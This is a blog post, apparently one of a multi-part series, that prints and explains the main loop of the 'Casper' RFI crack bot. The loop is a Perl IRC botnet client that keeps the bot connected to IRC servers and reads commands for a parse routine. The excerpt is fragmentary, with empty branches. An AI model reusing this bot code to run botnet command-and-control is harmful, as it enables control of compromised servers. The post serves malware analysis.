Irregular Expressions

Sep 16 2010   10:05PM GMT

Casper RFI crack bot – Part 12

Dan O'Connor Dan O'Connor Profile: Dan O'Connor

So what is going on next,

my $line_temp;
while( 1 ) {
     while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
     delete($irc_servers{''}) if (defined($irc_servers{''}));
     my @ready = $sel_cliente->can_read(0.6);
     next unless(@ready);

     foreach $fh (@ready) {
          $IRC_cur_socket = $fh;
          $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
          $nread = sysread($fh, $msg, 4096);
          if ($nread == 0) {
          @lines = split (/\n/, $msg);
          for(my $c=0; $c<= $#lines; $c++) {
               $line = $lines[$c];
               $line=$line_temp.$line if ($line_temp);
               $line =~ s/\r$//;
               unless ($c == $#lines) {
               } else {
                    if ($#lines == 0) {
                    } elsif ($lines[$c] =~ /\r$/) {
                    } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
                    } else {
                         $line_temp = $line;

This is the main chunk of the script, the first ‘while(1)’ just keeps it going in the loop.

The next while loop is ‘while (!(keys(%irc_servers))) { conectar(“$nick”, “$servidor”, “$porta”); }’ , this is a while loop that ensures that it’s connected to an irc server. The ! is a negation and will call the conectar sub and login. It will keep running this going through the list of IRC servers until successful.

The rest of this simplified is a foreach loop that goes through the connected servers and pulls back the text and passes it off to the ‘parse’ sub that pulls out what to do with the commands.

 Comment on this Post

There was an error processing your information. Please try again later.
Thanks. We'll let you know when a new response is added.
Send me notifications when other members comment.

Forgot Password

No problem! Submit your e-mail address below. We'll send you an e-mail containing your password.

Your password has been sent to:

Share this item with your network: